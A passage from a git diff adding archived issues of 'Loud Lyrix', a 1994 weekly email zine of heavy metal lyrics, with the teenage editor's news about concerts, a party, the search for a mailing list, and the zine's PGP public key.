me +Need the end to set me free + +Things are not what they used to be +Missing one inside of me +Deathly lost, this can't be real +Cannot stand this hell I feel +Emptiness is filing me +To the point of agony +Growing darkness taking dawn +I was me, but now He's gone + +No one but me can save myself, but it to late +Now I can't think, think why I should even try + +Yesterday seems as though it never existed +Death Greets me warm, now I will just say good-bye + +***************************** T H E E N D ******************************* +Typed By: Bill Northrup + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Well, this is the end of another Loud Lyrix! But don't despair, +it's only one week 'til Loud Lyrix #5... hehehe... what would all you +dudes do if this were a MONTHLY 'zine?! That's not funny eh? + +Don't forget people... we are now, lyrix@terranet.cts.com, all +submissions, comments, requests, and submissions are to be send here. +Remember to change the address in any ads that you distribute... or just +mail me, and I'll give you a brand spankin' new ad to spread around. + +BTW... I'm STILL in need of that LISTSERV I've been begging about... +please, please please.... I need it badly.... if you know ANYONE, try and +set me up with it... thanx + +C-ya + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #4 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-05 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-05 new file mode 100644 index 00000000..cdd009ee --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-05 @@ -0,0 +1,637 @@ + + _ ____ _ _ _____ _ __ _______ _______ __ + | | / __ \| | | | __ \ | | \ \ / / __ \|_ _\ \ / / + | | | | | | | | | | | | | | \ \_/ /| |__) | | | \ V / + | | | | | | | | | | | | | | \ / | _ / | | > < + | |___| |__| | |__| | |__| | | |____| | | | \ \ _| |_ / . \ + |______\____/ \____/|_____/ |______|_| |_| \_\_____/_/ \_\ + + + Loud Lyrix, April 19, 1994, Issue # 5 + + +Addresses +--------- +Internet: lyrix@terranet.cts.com +UUCP: generic!zoo.toronto.edu!terranet!lyrix +ARPA: generic!terranet!lyrix@zoo.toronto.edu + +FTP: None +Gopher: None +Usenet: None + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) +Mailing Program: NONE! Everything is done by hand. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #5, 4/19/94 +----------------------- + +Wow! What a week this was, I was up to my ass in overdue assignments and a +whole shit load of work from school, I just can't wait 'til summer! For +once it's actually a good thing I didn't have many submissions this week +to sort through, but that doesn't mean you should stop sending me stuff, +remember, if there is something you want to see in Loud Lyrix that you +think maybe I'm neglecting, the situation won't change until you speak up +about it... if I don't get submissions, I put in the songs that ***I*** +wanna see! :-) + +Well, nothing has changed much this past week for the 'zine, remember that +the 'zine's address is now lyrix@terranet.cts.com, any and all 'zine +related mail should be sent there, try and be considerate, and only mail +me directly if you really need too or if, for some strange reason your +mail can't get through to lyrix@terranet.cts.com. + +We are still looking for a LISTSERV to hook up with. The ever expanding +list of subscribers is making it harder and harder for me to do it by +hand, help me out, and try and find one for me.... thanx! Also, the +Newsgroup hunt is still on, find some newsgroups for me to regularly post +the 'zine to each week... + +One more thing, last Saturday, I got a call from a friend of mine, he told +me, "Holy shit Gino, you'll never believe these two shows that are coming +soon!" So I asked him who was playing... the first concert, at Maple Leaf +Gardens, $30 a ticket, with a 5000 person Gen Adm. mosh pit in the rink! +The bill includes Biohazard! Sepultura!!!! Pantera!!!!!!!! Whoa!... We +got the tickets, could you believe that the entire pit (5000 people) and +the Gold seats in the Gardens (500 people) were sold out before my friend +could buy the tickets at the store!! Shit, damn these credit card people. +Anyways, we got Red seats... they are like the best seats... nice view of +the stage and everything! + +The second Concert, at Molson Park in Barrie, a 30,000 person Gen Adm. +show (that's where they had Lollapolloza in Toronto) includes... Suicidal +Tendencies!! Danzig!!!! and Metallica!!!!!!!! This is the best news I've +ever had!! I just can't wait... I'm wearing the wrist band from +Ticketmaster right now, it guarrantees me a place in line Thurs when the +tickets go on sale, number 27... I can't wait! To celebrate these amazing +events, I've included one song from each of those bands in this week's +issue, except for Biohazard, since I can't find their lyrics ANYWHERE! Argh! + +Later dudes, and BTW, tell me if you know ANYTHING about these shows, if +you've seen 'em already, or you've heard of these tours or anything.. it +was a huge surprise for me! + +CONTENTS +-------- +Song 1: "The Trial" ("The Eye", Chapter 2) by King Diamond +Song 2: "Refuse/Resist" by Sepultura +Song 3: "Blackened" by Metallica +Song 4: "Mouth for War" by Pantera +Song 5: "Institutionalized" by Suicidal Tendencies +Song 6: "Mother" by Danzig +Song 7: "Feel" by Detritus +Song 8: "Keep Talking" by Pink Floyd + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Chapter 2 of "The Eye", by King Diamond + +*************************** T H E T R I A L ***************************** + + +La Reymie: +"Jeanne Dibasson, You stand accused before the Burning Court +for practising witchcraft. Do you confess? We have ways +to make you talk. How do you plead?" + +Jeanne: +"I never did any harm to anyone. I don't believe this." + +La Reymie: +"Lead the witch to the dungeon for the test (muhahahaha)... +Bring out the glowing pins... Do it now!" + +This is rotten to the core. +Jeanne is naked on the floor. +In the dungeon they want more. + +La Reymie: +"Oh Jeanne you feel so good" + +La Reymie is touching her body +Wrinkled fingers all over her. + +La Reymie: +"So this is how you make with the devil. +We're gonna get you witchy woman. +we will never believe in you +so you better repent your sins now." + +Sticking needles into her skin yeah +In the dungeon blood is everywhere +Glowing needles, needles and pins yeah +She's getting weaker, no more pain to feel + +La Reymie: +"We will never believe in you +so you better repent your sins now." + +"..... We are the servants of GOD, we believe in the devil +and we've found his mark on You. Confess witch! + +"..... Thou shalt not suffer a witch to live. +Whosoever lieth with a beast shall surely be put to death" + +Jeanne: +"Never did I lie with any beast of thine +dogs or cats or goats. Now leave my soul alone" + +La Reymie: +"He that sacrificeth unto any god save the Lord only +he shall be utterly destroyed!!!" + +Jeanne: +"Now I hear, deceiving lying tongues +never have I done harm to anyone" + +But they did not turn her loose +Horns and tails and cloven hoof +Can you tell me where's the proof... + +where's the proof.... +where's the proof.... +where's the proof.... +where's the proof.... +where's the proof.... +where's the proof.... + +!!!!!!!!!!!!! + +********************** T O B E C O N T I N U E D ********************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Editor -- last Monday, April 11, Sepultura hosted the Power 30 (Canada's +Headbanger's Ball), the last video they showed was a new one for this +song, they said that it was the first time it would be seen, but I wasn't +sure, could someone tell me when the first time they saw the new vid for +Refuse/Resist was? Thanx... amazing song.] + +*********************** R E F U S E / R E S I S T ************************* + by S E P U L T U R A + Album: "Chaos A.D." + + +Chaos a.d. +Tanks on the streets +Confronting police +Bleeding the plebs +Raging crowd +Burning cars +Bloodshed starts +Who'll be alive?! + +Chaos a.d. +Army in siege +Total alarm +I'm sick of this +Inside the state +War is created +No man's land +What is this shit?! + +Refuse/resist +Refuse + +Chaos a.d. +Disorder unleashed +Starting to burn +Starting to lynch +Silence means death +Stand on your feet +Inner fear +Your worst enemy + +Refuse/resist + +***************************** T H E E N D ******************************* +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*************************** B L A C K E N E D ***************************** + by M E T A L L I C A + Album: "... And Justice For All" + + +Blackened is the end +Winter it will send +Throwing all you see +Into obscurity + +Death of mother Earth +Never a rebirth +Evolution's end +Never will it mend + +Never + + Fire + To begin whipping dance of the dead + Blackened is the end + To begin whipping dance of the dead + Color our world blackened + +Bustering of Earth +Terminate its worth +Deadly nicotine +Kills what might have been + +Callous frigid chill +Nothing left to kill +Never seen before +Breathing nevermore + +Never + + Fire + To begin whipping dance of the dead + Blackened is the end + To begin whipping dance of the dead + Color our world blackened + + Blackened + +Opposition...contradiction...premonition...compromise +Agitation...violation...mutilation...planet dies + Darkest color + Blistered earth + True death of life +Termination....expiration...cancellation...human race +Expectation...liberation...population...lay to waste + See our mother + Put to death + See our mother die + +Smouldering decay +Take her breath away +Millions of our years +In minutes disappears + +Darkening in vain +Decadence remains +All is said and done +Never is the sun + +Never + + Fire + To begin whipping dance of the dead + Blackened is the end + To begin whipping dance of the dead + Fire + Is the outcome of hypocrisy + Darkest potency + In the exit of humanity + Color our world blackened + + Blackened + +***************************** T H E E N D ******************************* +Typed By: Gregory Smith + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************** M O U T H F O R W A R ************************** + by P A N T E R A + Album: "Vulgar Display of Power" + + +Revenge. I'm screaming revenge again +Wrong. I've been wrong for far too long. +Been constantly so frustrated, I've moved mountains with less. +When I channel my hate to productive, I don't find it hard to impress. + +Pre: +Bones in traction +Hands break to hone raw energy +Bold and disastrous, my ears can't hear what you say to me. + +Chorus: +Hold your mouth for the war +Use it for what it's for +Speak the truth about me +Determined. + +Possessed. I feel a conquering will down inside me +Strength. The strength of many to crush who might stop me. +My strength is in number, and my soul lies in every one. +The releasing of anger can better any medicine under the sun. + +(Pre) +(Chorus) + +There comes a time within everyone to close your eyes to what's real. +No comprehension to fail. I vacuum the wind for my sail +Can't be the rest, let others waste my time. +Owning success is the bottom line. +Like a knife into flesh. After life is to death. +Pulling and punching the rest of duration +NO ONE can piss on this determination + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************* I N S T I T U T I O N A L I Z E D ********************* + by S U I C I D A L T E N D E N C I E S + Album: "Suicide's An Alternative" + + +Sometimes I try to do things, and it just doesn't work out the way i want +it to and I get real frustrated, and like, I try hard to do it and I take +my time and it just doesn't work out the way I want it to, it's like I +concentrate on it real hard, and it just doesn't work out, and everything I +do and everything I try it never turns out, it's like I need time to figure +these things out, there's always someone there going, hey mike, you know, +we been noticing you've been having a lot of problems lately, you know, +maybe get away, and like, maybe you should talk about it, you'd feel a lot +better, I go no, it's ok, you know, I'll figure it out, just leave me alone +I'll figure it out, you know, I'll just work it out myself, and they go, +well you know, if you wanna talk about it I'll be here you know, and you'll +probably feel a lot better if you talk about it, so why don't you talk +about it, I go, no, I don't want to, I'm ok, I'll figure it out myself, but +they just keep bugging me and they just keep bugging me, and it builds up +inside, + +So you're gonna be institutionalized +You'll come out brainwashed with bloodshot eyes +You won't have any say +They'll brainwash you until you see their way + +I'm not crazy - institutionalized +You're the one who's crazy - institutionalized +You're driving me crazy - institutionalized +They stuck me in an institution +Said it was the only solution +To give me the needed professional help +To protect me from the enemy, myself + +I was in my room and I was like just staring at the wall thinking about +everything but then again I was thinking about nothing, and then my mom +comes in and I didn't even know she was there and she calls my name and I +didn't hear her and then she started screaming, MIKE, MIKE, and I go what, +what's the matter, and she goes what's the matter with you? I go there's +nothing wrong mom, and she goes don't give me that, you're on drugs, I go +no mom, I'm not on drugs, I'm ok, I'm just thinking, why don't you get me a +Pepsi? She goes, no, you're on drugs, I go mom, I'm okay, I'm just +thinking, she goes no, you're not thinking, you're on drugs, normal people +don't act that way. I go mom, just get me a Pepsi please, all I want is a +Pepsi, and she wouldn't give it to me, all I wanted was a Pepsi, just one +Pepsi, and she wouldn't give it to me, just a Pepsi. + +They give you a white shirt with long sleeves +Tied around you're back, you're treated like thieves +Drug you up because they're lazy +It's too much work to help a crazy + +I'm not crazy - institutionalized +You're the one who's crazy - institutionalized +You're driving me crazy - institutionalized +They stuck me in an institution +Said it was the only solution +To give me the needed professional help +To protect me from the enemy, myself + +I was sitting in my room and my mom and my dad came in and they pulled up a +chair and they sat down, they go, mike, we need to talk to you, I go okay, +what's the matter? They go me and your mom, we been noticing lately you've +been having a lot of problems, and you've been going out for no reason, and +we're afraid that you're going to hurt somebody, and we're afraid you're +gonna hurt yourself, so we decided that it would be in your best interest +if we put you somewhere where you could get the help that you need, and I +go, wait, what are you talking about, we decided? my best interest? How do +you know what MY best interest is? How can you say what MY best interest +is? What are you trying to say? That I'm crazy? When I went to your +schools, I went to your churches, I went to your institutional learning +facilities. So how can you say I'm crazy? + +They say they're gonna fix my brain +Alleviate my suffering and my pain +But by the time they fix my head +Mentally I'll be dead + +I'm not crazy - institutionalized +You're the one who's crazy - institutionalized +You're driving me crazy - institutionalized +They stuck me in an institution +Said it was the only solution +To give me the needed professional help +To protect me from the enemy, myself + +It doesn't matter, I'll probably get hit by a car anyway. + +***************************** T H E E N D ******************************* +Transcribed by: ThinLizzy + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************************** M O T H E R ******************************** + by D A N Z I G + Album: "Danzig III: How The Gods Kill (??)" + + +Mother +Tell your children not to walk my way +Tell your children not to hear my words +what they mean +what they say +Mother + +Mother +Can you keep them in the dark for life +Can you hide them from the waiting world +Oh Mother + +Father +Gonna take your daughter out tonight +gonna show her my world +Oh Father + +Not about to see your light +but if you wanna find hell with me +I can show you what it's like +'till you're bleeding + +Mother +Tell your children not to hold my hand +Tell your children not to understand +Oh Mother + +Father +Do you wanna bang heads with me +Do you wanna feel everything +oh Father + +Not about to see your light +but if you wanna find hell with me +I can show you what it's like +'till you're bleeding + +(Again) + +***************************** T H E E N D ******************************* +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************************** F E E L ********************************** + by D E T R I T U S + Album: "If But For One" + + +Words, they told me the words to say, +They taught me the way to pray, +Not 'til now I know +Feel, the way that I want to feel, +But how can it be so real +When I feeling so low? + +So reach out and touch me +Show me that you're there +Teach me how to feel you whisper that you care +I know that you're my shelter, my strength, my need, my all +So why's it when I'm feeling down I can't feel you at all? + +Touch me in a way that I'll know it is you +Hold me and embrace me, make me something new +Fill me with your laughter, your life, your gifts, your all +Pull me up I'm in selfbound, so numb but soon not anymore + +You give me life, give me hope, give me resurrection, +You give me your peace, give your all. + +***************************** T H E E N D ******************************* +Typed By: Phil Powell + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************ K E E P T A L K I N G ************************** + by P I N K F L O Y D + Album: "The Division Bell" + + +There's a silence surrounding me +I can't seem to think straight +I'll sit in the corner +No one can bother me +I think I should speak now + Why won't you talk to me +I can't seem to speak now + You never talk to me +My words won't come out right + What are you thinking +I feel like I'm drowning + What are you feeling +I'm feeling weak now + Why won't you talk to me +But I can't show my weakness + You never talk to me +I can sometimes wonder + What are you thinking +Where do we go from here + What are you feeling + +It doesn't have to be like this +All we need to do is make sure that we keep talking + + Why won't you talk to me +I feel like I'm drowning + You never talk to me +You know I can't breathe now + What are you thinking +We're going nowhere + What are you feeling +We're going nowhere + + Why won't you talk to me + + You never to talk to me + + What are you thinking + +Where do we go from here + +It doesn't have to be like this +All we need to do is make sure we keep talking + +***************************** T H E E N D ******************************* +Typed by: alextoledano@delphi.com + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok, that's it... don't forget to let me know anything you know about the +concerts/tours I told you about... and also about Sepultura's +Refuse/Resist video.... Thanx dudes... see ya next week, and send me some +shit... l8r + +Update: I just caught the new Anthrax video for "Hy Pro Glo"... fucking +amazing tune... their newest album truly rocks, John Bush is a genius (did +I ever mention I high-fived him at their concert at least 20 times!!), +anyways, tell me when the first time you Americans or whoever saw this +video, I wanna know how much earlier you guys get to see shit than us. + +PS: Last week, I finally took the time to figure out PGP, the big +encryption program that everyone is talking about... well anyways, I made +a key for the 'zine, and here it is... so if you have to send me anything +confidentially for what ever reason, or if you are just some paranoid +lunatic, here it is.... + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.3 + +mQCNAi2ogB0AAAEEAKfD4wzRC4Eb5h0HLZSAmUoD8u4PpOjp3jqccUjZ9wqzcm12 +qpS2DHgNV7qtjl/zqNiiw0r4Gow4WyKvE/pFoWQV5MMbcOOuQ3ydhAqooCQ8dfou +1dTauJ2dsB8/+LAfh/7dThq6oRJZwh3WIZqGCsv3YnolvspejCpFr4fSK9VpAAUR +tCNMb3VkIEx5cml4IDxseXJpeEB0ZXJyYW5ldC5jdHMuY29tPg== +=dq6R +-----END PGP PUBLIC KEY BLOCK----- + +Have fun with it! Hehehehe!! Fuck the Clipper chip! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #5 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-06 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-06 new file mode 100644 index 00000000..5f2bf392 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-06 @@ -0,0 +1,679 @@ + + __ _____ __ __ ____ + /\ \ /\ __`\/\ \/\ \/\ _`\ + \ \ \ \ \ \/\ \ \ \ \ \ \ \/\ \ + \ \ \ __\ \ \ \ \ \ \ \ \ \ \ \ \ + \ \ \L\ \\ \ \_\ \ \ \_\ \ \ \_\ \ + \ \____/ \ \_____\ \_____\ \____/ + \/___/ \/_____/\/_____/\/___/ + + __ __ ____ ______ __ __ + /\ \ /\ \ /\ \/\ _`\ /\__ _\/\ \ /\ \ + \ \ \ \ `\`\\/'/\ \ \L\ \/_/\ \/\ `\`\/'/' + \ \ \ __`\ `\ /' \ \ , / \ \ \ `\/ > < + \ \ \L\ \ `\ \ \ \ \ \\ \ \_\ \__ \/'/\`\ + \ \____/ \ \_\ \ \_\ \_\/\_____\/\_\\ \_\ + \/___/ \/_/ \/_/\/ /\/_____/\/_/ \/_/ + + + + Loud Lyrix, April 26, 1994, Issue # 6 + + +Addresses +--------- +Internet: lyrix@terranet.cts.com +UUCP: generic!zoo.toronto.edu!terranet!lyrix +ARPA: generic!terranet!lyrix@zoo.toronto.edu + +FTP: None +Gopher: None +Usenet: None + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) +Mailing Program: NONE! Everything is done by hand. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #6, 4/26/94 +----------------------- + +Well everyone.... how's it hangin' ? This is been a pretty cool week for +me, I had like absolutely no HW at all, and that is always a relief! +Saturday I went to a wicked awesome party... what a bash, everyone was +hammered to hell, headbanging to whatever the hell was on the fucking +radio, I can't even remember if it was the New Kids or what! :-) ... too +bad it was an apartment, we got the neighbors mad, and one called the +cops, that's when we all shit our pants... and dumped all the drinks, (for +those who don't know, you awesome Editor here is a 17 year old 'banger), +but the cops never crashed the party, we just calmed down and the +neighbors were happy. Then a friend of mine totally ruined the fucking +party... he went mental destroying things, it took four of us to hold him +down... fucking asshole, I'm gonna give him his shots at school tomorrow, +(it's Sunday right now), anyways... he was so fucked, he friggin' smashed +his head through a window!! Lucky nothing happened to him... shit, what a +party.... it was so good 'til he flipped out and scared all the girls... + +Anyways... I don't mean to bore you with my teenage tales... I just wanted +to write it down... anyways... thanks go out to a cyber pal of mine, Kain +, for sending in all the parodies that appear in this week's +Loud Lyrix... + +We are STILL fucking looking for a LISTSERV!!! I guess it's useless to ask +you guys anymore... I'm just wasting space... anyways.. I'll get off my +lazy butt one day, and mass post to listserv owners and beg them for a +spot. + +C'mon guyz! You can't tell me that none of you are on Usenet out there! So +where are all the newsgroups I asked you all to find for me... I need you +all to find some newsgroups for me to regularly post the 'zine to, make +sure that they won't be flaming me for posting it... choose related ones +pleez! ... c'mon, get cracking. + +Well, you guys are pretty sad you know! I am getting absolutely NO readers +responses to any songs I post! You guys are frustrating me, so I said +"Fuck it!" I won't bug you no more about this shit, if you wanna send in +anything, just do it... I'll print it for sure... + +I've also gotten requests from a couple of people to expand the mag a +little bit, with interviews, reviews, and concert dates and shit. So I was +thinking, COOL! I'd be willing to do it for you guys, but I can't do it by +myself at all... I could review some new albums, and SOME concerts, but I +ain't too good at writing reviews. However, I'll bet there are more than +one of you out there that CAN write this stuff.. so, if there is anything +you wanna see in the 'zine... any CONCERT DATES, INTERVIEWS OR REVIEWS, +just send 'em to me, and I'll print 'em up.... but remember, I can't do +this by myself, if you want it to happen, ya gotta help, or else I might +forget about this. + +Ok dudes... have a good seven days... don't put your head through any +windows, hehehehe... have fun as always, and keep the songs coming! + +CONTENTS +-------- +Song 1: "Burn" by King Diamond +Song 2: "Cowboys From Hell" by Pantera +Song 3: "Critical Mass" by Nuclear Assault +Song 4: "Die Hard" by Venom +Song 5: "Possessed to Skate" by Suicidal Tendencies +Song 6: "Evil Has No Boundaries" by Slayer +Song 7: "Fear of the Dark" by Iron Maiden +Song 8: "Fade to Red" by The Dave Man +Song 9: "Escape" by Phillip Wang +Song 10: "I Have Seen The Future" by ktark@src4src.linet.org + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Chapter 3, "The Eye", by King Diamond + +********************************** B U R N ******************************** + + +The Inquisition will take her to the hill +Ready for the kill, giving GOD his will +Everybody's there, none of them will care +Not a single prayer + +Burn in the night, You're the devil's child +Burn in the night, You're the devil's child + +Looking at the sky, soon the girl will die +Nobody will cry, hear her screaming "why?!" +The priests are all in line, now they give the sign +Let the fire shine! + +Burn in the night, You're the devil's child +Burn in the night, You're the devil's child + +They say the devil is here tonight +Then let him play his violin so wild + +Higher, burning higher, flames will soon devour +Higher, burning higher, the smell of skin turned sour + +Higher, burning higher, her legs are scorched by fire +Ashes to ashes, I see a smile on their wicked faces + +Burn in the night, You're the devil's child +Burn in the night, You're the devil's child + +Lightning from the sky, magic's coming by +As her necklace flies right into her eye +The priests are all in line, now they give the sign +Let the fire die + +Burned in the night, there are no remains +Burned in the night, just a magic chain + +********************** T O B E C O N T I N U E D ********************* +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************* C O W B O Y S F R O M H E L L ********************* + by P A N T E R A + Album: "Cowboys from Hell" + + +Under the lights where we stand tall +Nobody touches us at all +Showdown, shootout, spread fear within, without +We're gonna take what's ours to have +Spread the word throughout the land +They say the bad guys wear black +We're tagged and can't turn back + +You see us comin' +And you all together run for cover +We're takin over this town + +Here we come reach for your gun +And you better listen my friend, you see +It's been slow down below, +Aimed at you we're the cowboys from hell +Deed is done again, we've won +Ain't talking no tall tales friend +'Cause high noon, your doom +Comin' for you we're the cowboys from hell + +Pillage the village, trash the scene +But better not take it out on me +'Cause a ghost town is found +Where your city used to be +So out of the darkness and into the light +Sparks fly everywhere in sight +>From my double barrel, 12 gauge, +Can't lock me in your cage + + +You see us comin' +And you all together run for cover +We're takin over this town + +Here we come reach for your gun +And you better listen my friend, you see +It's been slow down below, +Aimed at you we're the cowboys from hell +Deed is done again, we've won +Ain't talking no tall tales friend +'Cause high noon, your doom +Comin' for you we're the cowboys from hell + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********************** C R I T I C A L M A S S ************************* + by N U C L E A R A S S A U L T + Album: "Handle With Care" + + +The bio-sphere, the place we live +It seems like we don't give a damn +Other species flushed down the tubes +We need another race to rape +The way we live, we will destroy +Every other living thing +Till none are left except our race +And then we will destroy ourselves + +Another oil spill +Atomic waste displaced +Another forest dies + +Bring on the acid rain +Slightly insane, the type of greed +That makes a world unfit for life +Toxic wastes destroy our seas +While poison gas pollutes the air +A waste of life, while no one cares +The earth becomes a giant tomb +Critical mass will be achieved +And ruins will be all that's left + +Another oil spill +Atomic waste displaced +Another forest dies + +*groovy solo* + +A hell on earth, what we create +Dragging life to death with us +All living things destroyed or used +By shortsighted human beings +We do these things, let them be done +Apathy creates despair +The damage done will be too great +The world wounded beyond repair + +Another oil spill +Atomic waste displaced +Another forest dies + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Hello! I thought that I could contribute with a lyric by Venom. As +everybody should know Venom were the true inventors of Black Metal, Thrash +Metal and Death Metal. Here's the song(!) "Die Hard" It's among my +favourite Venom songs. -- Hellcrusher] + +**************************** D I E H A R D ****************************** + by V E N O M + Album "{Unknown}" + + +Satan, Father +Help me from this grave +Demons, warriors +Ever be my slaves +I can't reason with men and mortal fools +They won't die hard, hear the Golden Rule + Die Hard - Legions iron and steel + Die Hard - Men of war revealed + Die Hard - Captors of the brave + +Sinner, liar +Guard your Crown of Thorns +Priestess, Parson +Live your lives of scorn +I can raise the fires of Hell and blasphemy +We can grow strong, Satanic Royalty + Die Hard + +Evil Angels +Vultures of the night +Ride the wings of Hades' death is on our side +Burn the furnace bright, we ain't getting tired. + Die Hard + +***************************** T H E E N D ******************************* +Typed by: Hellcrusher + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************** P O S S E S S E D T O S K A T E ******************** + by S U I C I D A L T E N D E N C I E S + Album: "Join the Army" + + +Let's skate! + +Seemed like such an innocent toy +He was the All-American boy +Got a skate at eight years old +Now the story can be told + +Beware he's Possessed to Skate! + +Skating takes him up in height +He's a pilot on a modern flight +See him flying through the air +I he don't land then he don't care + +Chorus: +Cause he rips-he rips +When he skates-he skates +Cause he never hesitates +He's a wizard on the wheels +Like a modern gladiator ain't got no fears +So skate + +He shoots the pool like a launching pad +If it ain't insane than you can't get rad +Skating is all that's on his mind +He's skating radical all the time + +Chorus +Beware he's Possessed to Skate! + +Looks like a magic carpet ride +Six foot aerials inverts backside +Optical illusion it must be +He redefines insanity + +Chorus +Doesn't understand why you'd wanna walk +Ain't got no time to sit and talk +Used to be just like you and me +Now he's an outcast of society + +Beware he's Possessed to Skate! + +And the skating's getting radical + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************** E V I L H A S N O B O U N D A R I E S **************** + by S L A Y E R + Album: "Show No 